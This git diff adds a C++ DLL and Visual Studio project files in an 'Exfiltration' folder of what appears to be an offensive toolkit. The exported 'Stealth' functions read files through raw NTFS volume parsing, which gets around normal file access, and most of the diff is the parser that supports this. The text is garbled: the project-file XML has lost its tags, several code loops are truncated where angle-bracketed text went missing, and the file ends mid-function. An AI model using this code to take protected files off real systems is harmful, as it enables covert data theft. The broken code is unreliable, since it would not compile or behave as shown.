100644 index 0000000..e71d8ee --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp @@ -0,0 +1,161 @@ +/* + * + * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 + +#include "stdafx.h" +#include "NTFS.h" +#include "NTFS_DataType.h" + +using namespace std; + +struct FileInfo_t +{ + CNTFSVolume* volume; + CFileRecord* fileRecord; + CIndexEntry* indexEntry; + CAttrBase* data; +}; + +extern "C" HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr) +{ + FileInfo_t* fileInfo = new FileInfo_t; + + string filePath = string(filePathCStr); + _TCHAR volumeName = filePath.at(0); + + fileInfo->volume = new CNTFSVolume(volumeName); + if (!fileInfo->volume->IsVolumeOK()) + { + return NULL; + } + + //Parse root directory + fileInfo->fileRecord = new CFileRecord(fileInfo->volume); + fileInfo->fileRecord->SetAttrMask(MASK_INDEX_ROOT | MASK_INDEX_ALLOCATION); + + if (!fileInfo->fileRecord->ParseFileRecord(MFT_IDX_ROOT)) + { + return NULL; + } + if (!fileInfo->fileRecord->ParseAttrs()) + { + return NULL; + } + + //Find subdirectory + fileInfo->indexEntry = new CIndexEntry; + int dirs = filePath.find(_T('\\'), 0); + int dire = filePath.find(_T('\\'), dirs+1); + + while (dire != string::npos) + { + string pathname = filePath.substr(dirs+1, dire-dirs-1); + const _TCHAR* pathnameCStr = (const _TCHAR*)pathname.c_str(); + if (fileInfo->fileRecord->FindSubEntry(pathnameCStr, *(fileInfo->indexEntry))) + { + if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference())) + { + return NULL; + } + + if (!fileInfo->fileRecord->ParseAttrs()) + { + if (fileInfo->fileRecord->IsCompressed()) + { + return NULL; + } + else if (fileInfo->fileRecord->IsEncrypted()) + { + return NULL; + } + else + { + return NULL; + } + } + } + else + { + return NULL; + } + + + dirs = dire; + dire = filePath.find(_T('\\'), dirs+1); + } + + string fileName = filePath.substr(dirs+1, filePath.size()-1); + const _TCHAR* fileNameCStr = (const _TCHAR*)fileName.c_str(); + if (fileInfo->fileRecord->FindSubEntry(fileNameCStr, *(fileInfo->indexEntry))) + { + if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference())) + { + return NULL; + } + + fileInfo->fileRecord->SetAttrMask(MASK_DATA); + if (!fileInfo->fileRecord->ParseAttrs()) + { + return NULL; + } + + fileInfo->data = (CAttrBase*)fileInfo->fileRecord->FindStream(); + + return fileInfo; + } + + return NULL; +} + + +extern "C" DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* buffer, DWORD bufferSize, ULONGLONG offset, DWORD* bytesRead, ULONGLONG* dataRemaining) +{ + + if (fileInfo->data) + { + ULONGLONG dataLength = (ULONGLONG)fileInfo->data->GetDataSize(); + ULONGLONG fullDataLength = dataLength; + + dataLength = dataLength - offset; + if (dataLength > bufferSize) + { + dataLength = bufferSize; + } + if (dataLength > MAXUINT32) + { + return 1; + } + + DWORD len; + if (fileInfo->data->ReadData(offset, buffer, dataLength, &len) && len == dataLength) + { + *bytesRead = len; + *dataRemaining = fullDataLength - len - offset; + return 0; //Success + } + return 3; + } + return 2; +} + + +extern "C" void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo) +{ + delete (fileInfo->data); + delete (fileInfo->indexEntry); + delete (fileInfo->volume); + delete fileInfo; +} diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj new file mode 100644 index 0000000..00f4963 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj @@ -0,0 +1,172 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {5E42B778-F231-4797-B7FD-7D5BCA9738D0} + Win32Proj + NTFSParserDLL + + + + DynamicLibrary + true + v110 + NotSet + + + DynamicLibrary + true + v110 + NotSet + + + DynamicLibrary + false + v110_xp + true + NotSet + + + DynamicLibrary + false + v110_xp + true + NotSet + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + + + false + false + + + + + false + false + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters new file mode 100644 index 0000000..8bbd5fc --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h new file mode 100644 index 0000000..19ab7ce --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h @@ -0,0 +1,1663 @@ +/* + * NTFS Attribute Classes + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_ATTRIBUTE_H_CYB70289 +#define __NTFS_ATTRIBUTE_H_CYB70289 + + +//////////////////////////////// +// List to hold parsed DataRuns +//////////////////////////////// +typedef struct tagDataRun_Entry +{ + LONGLONG LCN; // -1 to indicate sparse data + ULONGLONG Clusters; + ULONGLONG StartVCN; + ULONGLONG LastVCN; +} DataRun_Entry; +typedef class CSList CDataRunList; + +//////////////////////////////////// +// List to hold Index Entry objects +//////////////////////////////////// +class CIndexEntry; +typedef class CSList CIndexEntryList; + + +//////////////////////////////// +// Attributes base class +//////////////////////////////// +class CAttrBase +{ +public: + CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrBase(); + +protected: + const ATTR_HEADER_COMMON *AttrHeader; + WORD _SectorSize; + DWORD _ClusterSize; + DWORD _IndexBlockSize; + HANDLE _hVolume; + const CFileRecord *FileRecord; + +public: + __inline const ATTR_HEADER_COMMON* GetAttrHeader() const; + __inline DWORD GetAttrType() const; + __inline DWORD GetAttrTotalSize() const; + __inline BOOL IsNonResident() const; + __inline WORD GetAttrFlags() const; + int GetAttrName(char *buf, DWORD bufLen) const; + int GetAttrName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL IsUnNamed() const; + +protected: + virtual __inline BOOL IsDataRunOK() const = 0; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const = 0; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const = 0; +}; // CAttrBase + +CAttrBase::CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) +{ + _ASSERT(ahc); + _ASSERT(fr); + + AttrHeader = ahc; + FileRecord = fr; + + _SectorSize = fr->Volume->SectorSize; + _ClusterSize = fr->Volume->ClusterSize; + _IndexBlockSize = fr->Volume->IndexBlockSize; + _hVolume = fr->Volume->hVolume; +} + +CAttrBase::~CAttrBase() +{ +} + +__inline const ATTR_HEADER_COMMON* CAttrBase::GetAttrHeader() const +{ + return AttrHeader; +} + +__inline DWORD CAttrBase::GetAttrType() const +{ + return AttrHeader->Type; +} + +__inline DWORD CAttrBase::GetAttrTotalSize() const +{ + return AttrHeader->TotalSize; +} + +__inline BOOL CAttrBase::IsNonResident() const +{ + return AttrHeader->NonResident; +} + +__inline WORD CAttrBase::GetAttrFlags() const +{ + return AttrHeader->Flags; +} + +// Get ANSI Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(char *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + int len = WideCharToMultiByte(CP_ACP, 0, namePtr, AttrHeader->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("Attribute name: %s\n", buf); + return len; + } + else + { + NTFS_TRACE("Unrecognized attribute name or Name buffer too small\n"); + return -1*AttrHeader->NameLength; + } + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Get UNICODE Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(wchar_t *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + bufLen = AttrHeader->NameLength; + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + wcsncpy(buf, namePtr, bufLen); + buf[bufLen] = '\0\0'; + + NTFS_TRACE("Unicode Attribute Name\n"); + return bufLen; + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Verify if this attribute is unnamed +// Useful in analyzing MultiStream files +__inline BOOL CAttrBase::IsUnNamed() const +{ + return (AttrHeader->NameLength == 0); +} + + +//////////////////////////////// +// Resident Attributes +//////////////////////////////// +class CAttrResident : public CAttrBase +{ +public: + CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrResident(); + +protected: + const ATTR_HEADER_RESIDENT *AttrHeaderR; + const void *AttrBody; // Points to Resident Data + DWORD AttrBodySize; // Attribute Data Size + + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrResident + +CAttrResident::CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderR = (ATTR_HEADER_RESIDENT*)ahc; + AttrBody = (void*)((BYTE*)AttrHeaderR + AttrHeaderR->AttrOffset); + AttrBodySize = AttrHeaderR->AttrSize; +} + +CAttrResident::~CAttrResident() +{ +} + +__inline BOOL CAttrResident::IsDataRunOK() const +{ + return TRUE; // Always OK for a resident attribute +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrBodySize; + + return (ULONGLONG)AttrBodySize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + DWORD offsetd = (DWORD)offset; + if (offsetd >= AttrBodySize) + return FALSE; // offset parameter error + + if ((offsetd + bufLen) > AttrBodySize) + *actural = AttrBodySize - offsetd; // Beyond scope + else + *actural = bufLen; + + memcpy(bufv, (BYTE*)AttrBody + offsetd, *actural); + + return TRUE; +} + + +//////////////////////////////// +// NonResident Attributes +//////////////////////////////// +class CAttrNonResident : public CAttrBase +{ +public: + CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrNonResident(); + +protected: + const ATTR_HEADER_NON_RESIDENT *AttrHeaderNR; + CDataRunList DataRunList; + +private: + BOOL bDataRunOK; + BYTE *UnalignedBuf; // Buffer to hold not cluster aligned data + BOOL PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset); + BOOL ParseDataRun(); + BOOL ReadClusters(void *buf, DWORD clusters, LONGLONG lcn); + BOOL ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural); + +protected: + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrNonResident + +CAttrNonResident::CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderNR = (ATTR_HEADER_NON_RESIDENT*)ahc; + + UnalignedBuf = new BYTE[_ClusterSize]; + + bDataRunOK = ParseDataRun(); +} + +CAttrNonResident::~CAttrNonResident() +{ + delete UnalignedBuf; + + DataRunList.RemoveAll(); +} + +// Parse a single DataRun unit +BOOL CAttrNonResident::PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset) +{ + BYTE size = **dataRun; + (*dataRun)++; + int lengthBytes = size & 0x0F; + int offsetBytes = size >> 4; + + if (lengthBytes > 8 || offsetBytes > 8) + { + NTFS_TRACE1("DataRun decode error 1: 0x%02X\n", size); + return FALSE; + } + + *length = 0; + memcpy(length, *dataRun, lengthBytes); + if (*length < 0) + { + NTFS_TRACE1("DataRun length error: %I64d\n", *length); + return FALSE; + } + + (*dataRun) += lengthBytes; + *LCNOffset = 0; + if (offsetBytes) // Not Sparse File + { + if ((*dataRun)[offsetBytes-1] & 0x80) + *LCNOffset = -1; + memcpy(LCNOffset, *dataRun, offsetBytes); + + (*dataRun) += offsetBytes; + } + + return TRUE; +} + +// Travers DataRun and insert into a link list +BOOL CAttrNonResident::ParseDataRun() +{ + NTFS_TRACE("Parsing Non Resident DataRun\n"); + NTFS_TRACE2("Start VCN = %I64u, End VCN = %I64u\n", + AttrHeaderNR->StartVCN, AttrHeaderNR->LastVCN); + + const BYTE *dataRun = (BYTE*)AttrHeaderNR + AttrHeaderNR->DataRunOffset; + LONGLONG length; + LONGLONG LCNOffset; + LONGLONG LCN = 0; + ULONGLONG VCN = 0; + + while (*dataRun) + { + if (PickData(&dataRun, &length, &LCNOffset)) + { + LCN += LCNOffset; + if (LCN < 0) + { + NTFS_TRACE("DataRun decode error 2\n"); + return FALSE; + } + + NTFS_TRACE2("Data length = %I64d clusters, LCN = %I64d", length, LCN); + NTFS_TRACE(LCNOffset == 0 ? ", Sparse Data\n" : "\n"); + + // Store LCN, Data size (clusters) into list + DataRun_Entry *dr = new DataRun_Entry; + dr->LCN = (LCNOffset == 0) ? -1 : LCN; + dr->Clusters = length; + dr->StartVCN = VCN; + VCN += length; + dr->LastVCN = VCN - 1; + + if (dr->LastVCN <= (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN)) + { + DataRunList.InsertEntry(dr); + } + else + { + NTFS_TRACE("DataRun decode error: VCN exceeds bound\n"); + + // Remove entries + DataRunList.RemoveAll(); + + return FALSE; + } + } + else + break; + } + + return TRUE; +} + +// Read clusters from disk, or sparse data +// *actural = Clusters acturally read +BOOL CAttrNonResident::ReadClusters(void *buf, DWORD clusters, LONGLONG lcn) +{ + if (lcn == -1) // sparse data + { + NTFS_TRACE("Sparse Data, Fill the buffer with 0\n"); + + // Fill the buffer with 0 + memset(buf, 0, clusters * _ClusterSize); + + return TRUE; + } + + LARGE_INTEGER addr; + DWORD len; + + addr.QuadPart = lcn * _ClusterSize; + len = SetFilePointer(_hVolume, addr.LowPart, &addr.HighPart, FILE_BEGIN); + + if (len == (DWORD)-1 && GetLastError() != NO_ERROR) + { + NTFS_TRACE1("Cannot locate cluster with LCN %I64d\n", lcn); + } + else + { + if (ReadFile(_hVolume, buf, clusters*_ClusterSize, &len, NULL) && + len == clusters*_ClusterSize) + { + NTFS_TRACE2("Successfully read %u clusters from LCN %I64d\n", clusters, lcn); + return TRUE; + } + else + { + NTFS_TRACE1("Cannot read cluster with LCN %I64d\n", lcn); + } + } + + return FALSE; +} + +// Read Data, cluster based +// clusterNo: Begnning cluster Number +// clusters: Clusters to read +// bufv, bufLen: Returned data +// *actural = Number of bytes acturally read +BOOL CAttrNonResident::ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural) +{ + _ASSERT(bufv); + _ASSERT(clusters); + + *actural = 0; + BYTE *buf = (BYTE*)bufv; + + // Verify if clusters exceeds DataRun bounds + if (vcn + clusters > (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN +1)) + { + NTFS_TRACE("Cluster exceeds DataRun bounds\n"); + return FALSE; + } + + // Verify buffer size + if (bufLen < clusters*_ClusterSize) + { + NTFS_TRACE("Buffer size too small\n"); + return FALSE; + } + + // Traverse the DataRun List to find the according LCN + const DataRun_Entry *dr = DataRunList.FindFirstEntry(); + while(dr) + { + if (vcn>=dr->StartVCN && vcn<=dr->LastVCN) + { + DWORD clustersToRead; + + ULONGLONG vcns = dr->LastVCN - vcn + 1; // Clusters from read pointer to the end + + if ((ULONGLONG)clusters > vcns) // Fragmented data, we must go on + clustersToRead = (DWORD)vcns; + else + clustersToRead = clusters; + if (ReadClusters(buf, clustersToRead, dr->LCN+(vcn-dr->StartVCN))) + { + buf += clustersToRead*_ClusterSize; + clusters -= clustersToRead; + *actural += clustersToRead; + vcn += clustersToRead; + } + else + break; + + if (clusters == 0) + break; + } + + dr = DataRunList.FindNextEntry(); + } + + *actural *= _ClusterSize; + return TRUE; +} + +// Judge if the DataRun is successfully parsed +__inline BOOL CAttrNonResident::IsDataRunOK() const +{ + return bDataRunOK; +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrNonResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrHeaderNR->AllocSize; + + return AttrHeaderNR->RealSize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrNonResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + // Hard disks can only be accessed by sectors + // To be simple and efficient, only implemented cluster based accessing + // So cluster unaligned data address should be processed carefully here + + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + // Bounds check + if (offset > AttrHeaderNR->RealSize) + return FALSE; + if ((offset + bufLen) > AttrHeaderNR->RealSize) + bufLen = (DWORD)(AttrHeaderNR->RealSize - offset); + + DWORD len; + BYTE *buf = (BYTE*)bufv; + + // First cluster Number + ULONGLONG startVCN = offset / _ClusterSize; + // Bytes in first cluster + DWORD startBytes = _ClusterSize - (DWORD)(offset % _ClusterSize); + // Read first cluster + if (startBytes != _ClusterSize) + { + // First cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + len = (startBytes < bufLen) ? startBytes : bufLen; + memcpy(buf, UnalignedBuf + _ClusterSize - startBytes, len); + buf += len; + bufLen -= len; + *actural += len; + startVCN++; + } + else + return FALSE; + } + if (bufLen == 0) + return TRUE; + + DWORD alignedClusters = bufLen / _ClusterSize; + if (alignedClusters) + { + // Aligned clusters + DWORD alignedSize = alignedClusters*_ClusterSize; + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, alignedClusters, buf, alignedSize, &len) + && len == alignedSize) + { + startVCN += alignedClusters; + buf += alignedSize; + bufLen %= _ClusterSize; + *actural += len; + + if (bufLen == 0) + return TRUE; + } + else + return FALSE; + } + + // Last cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + memcpy(buf, UnalignedBuf, bufLen); + *actural += bufLen; + + return TRUE; + } + else + return FALSE; +} + + +/////////////////////////////////// +// Attribute: Standard Information +/////////////////////////////////// +class CAttr_StdInfo : public CAttrResident +{ +public: + CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_StdInfo(); + +private: + const ATTR_STANDARD_INFORMATION *StdInfo; + +public: + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + static void UTC2Local(const ULONGLONG &ultm, FILETIME *lftm); +}; // CAttr_StdInfo + +CAttr_StdInfo::CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Standard Information\n"); + + StdInfo = (ATTR_STANDARD_INFORMATION*)AttrBody; +} + +CAttr_StdInfo::~CAttr_StdInfo() +{ + NTFS_TRACE("CAttr_StdInfo deleted\n"); +} + +// Change from UTC time to local time +void CAttr_StdInfo::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + UTC2Local(StdInfo->AlterTime, writeTm); + + if (createTm) + UTC2Local(StdInfo->CreateTime, createTm); + + if (accessTm) + UTC2Local(StdInfo->ReadTime, accessTm); +} + +__inline DWORD CAttr_StdInfo::GetFilePermission() const +{ + return StdInfo->Permission; +} + +__inline BOOL CAttr_StdInfo::IsReadOnly() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_READONLY); +} + +__inline BOOL CAttr_StdInfo::IsHidden() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_HIDDEN); +} + +__inline BOOL CAttr_StdInfo::IsSystem() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SYSTEM); +} + +__inline BOOL CAttr_StdInfo::IsCompressed() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_COMPRESSED); +} + +__inline BOOL CAttr_StdInfo::IsEncrypted() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_ENCRYPTED); +} + +__inline BOOL CAttr_StdInfo::IsSparse() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SPARSE); +} + +// UTC filetime to Local filetime +void CAttr_StdInfo::UTC2Local(const ULONGLONG &ultm, FILETIME *lftm) +{ + LARGE_INTEGER fti; + FILETIME ftt; + + fti.QuadPart = ultm; + ftt.dwHighDateTime = fti.HighPart; + ftt.dwLowDateTime = fti.LowPart; + + if (!FileTimeToLocalFileTime(&ftt, lftm)) + *lftm = ftt; +} + + +//////////////////////////////////////// +// FileName helper class +// used by FileName and IndexEntry +//////////////////////////////////////// +class CFileName +{ +public: + CFileName(ATTR_FILE_NAME *fn = NULL); + virtual ~CFileName(); + +protected: + const ATTR_FILE_NAME *FileName; // May be NULL for an IndexEntry + wchar_t *FileNameWUC; // Uppercase Unicode File Name, used to compare file names + int FileNameLength; + BOOL IsCopy; + + __inline void SetFileName(ATTR_FILE_NAME *fn); + void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn); + +private: + void GetFileNameWUC(); + +public: + int Compare(const wchar_t *fn) const; + int Compare(const char *fn) const; + + __inline ULONGLONG GetFileSize() const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + int GetFileName(char *buf, DWORD bufLen) const; + int GetFileName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL HasName() const; + __inline BOOL IsWin32Name() const; + + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; +}; // CFileName + +CFileName::CFileName(ATTR_FILE_NAME *fn) +{ + IsCopy = FALSE; + + FileName = fn; + + FileNameWUC = NULL; + FileNameLength = 0; + + if (fn) + GetFileNameWUC(); +} + +CFileName::~CFileName() +{ + if (FileNameWUC) + delete FileNameWUC; +} + +__inline void CFileName::SetFileName(ATTR_FILE_NAME *fn) +{ + FileName = fn; + + GetFileNameWUC(); +} + +// Copy pointer buffers +void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn) +{ + if (!IsCopy) + { + NTFS_TRACE("Cannot call this routine\n"); + return; + } + + _ASSERT(fn && afn); + + NTFS_TRACE("FileName Copied\n"); + + if (FileNameWUC) + delete FileNameWUC; + + FileNameLength = fn->FileNameLength; + FileName = afn; + + if (fn->FileNameWUC) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + wcsncpy(FileNameWUC, fn->FileNameWUC, FileNameLength); + FileNameWUC[FileNameLength] = wchar_t('\0'); + } + else + FileNameWUC = NULL; +} + +// Get uppercase unicode filename and store it in a buffer +void CFileName::GetFileNameWUC() +{ +#ifdef _DEBUG + char fna[MAX_PATH]; + GetFileName(fna, MAX_PATH); // Just show filename in debug window +#endif + + if (FileNameWUC) + { + delete FileNameWUC; + FileNameWUC = NULL; + FileNameLength = 0; + } + + wchar_t fns[MAX_PATH]; + FileNameLength = GetFileName(fns, MAX_PATH); + + if (FileNameLength > 0) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + for (int i=0; i MAX_PATH) + return 1; // Assume bigger + + wchar_t fns[MAX_PATH]; + + for (int i=0; iRealSize : 0; +} + +__inline DWORD CFileName::GetFilePermission() const +{ + return FileName ? FileName->Flags : 0; +} + +__inline BOOL CFileName::IsReadOnly() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_READONLY) : FALSE; +} + +__inline BOOL CFileName::IsHidden() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_HIDDEN) : FALSE; +} + +__inline BOOL CFileName::IsSystem() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SYSTEM) : FALSE; +} + +__inline BOOL CFileName::IsDirectory() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_DIRECTORY) : FALSE; +} + +__inline BOOL CFileName::IsCompressed() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_COMPRESSED) : FALSE; +} + +__inline BOOL CFileName::IsEncrypted() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_ENCRYPTED) : FALSE; +} + +__inline BOOL CFileName::IsSparse() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SPARSE) : FALSE; +} + +// Get ANSI File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(char *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + int len = 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + len = WideCharToMultiByte(CP_ACP, 0, (wchar_t*)FileName->Name, FileName->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("File Name: %s\n", buf); + NTFS_TRACE4("File Permission: %s\t%c%c%c\n", IsDirectory()?"Directory":"File", + IsReadOnly()?'R':' ', IsHidden()?'H':' ', IsSystem()?'S':' '); + } + else + { + NTFS_TRACE("Unrecognized File Name or FileName buffer too small\n"); + } + } + + return len; +} + +// Get Unicode File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(wchar_t *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + bufLen = FileName->NameLength; + wcsncpy(buf, (wchar_t*)FileName->Name, bufLen); + buf[bufLen] = wchar_t('\0'); + + return bufLen; + } + + return 0; +} + +__inline BOOL CFileName::HasName() const +{ + return FileNameLength > 0; +} + +__inline BOOL CFileName::IsWin32Name() const +{ + if (FileName == NULL || FileNameLength <= 0) + return FALSE; + + return (FileName->NameSpace != ATTR_FILENAME_NAMESPACE_DOS); // POSIX, WIN32, WIN32_DOS +} + +// Change from UTC time to local time +void CFileName::GetFileTime(FILETIME *writeTm, 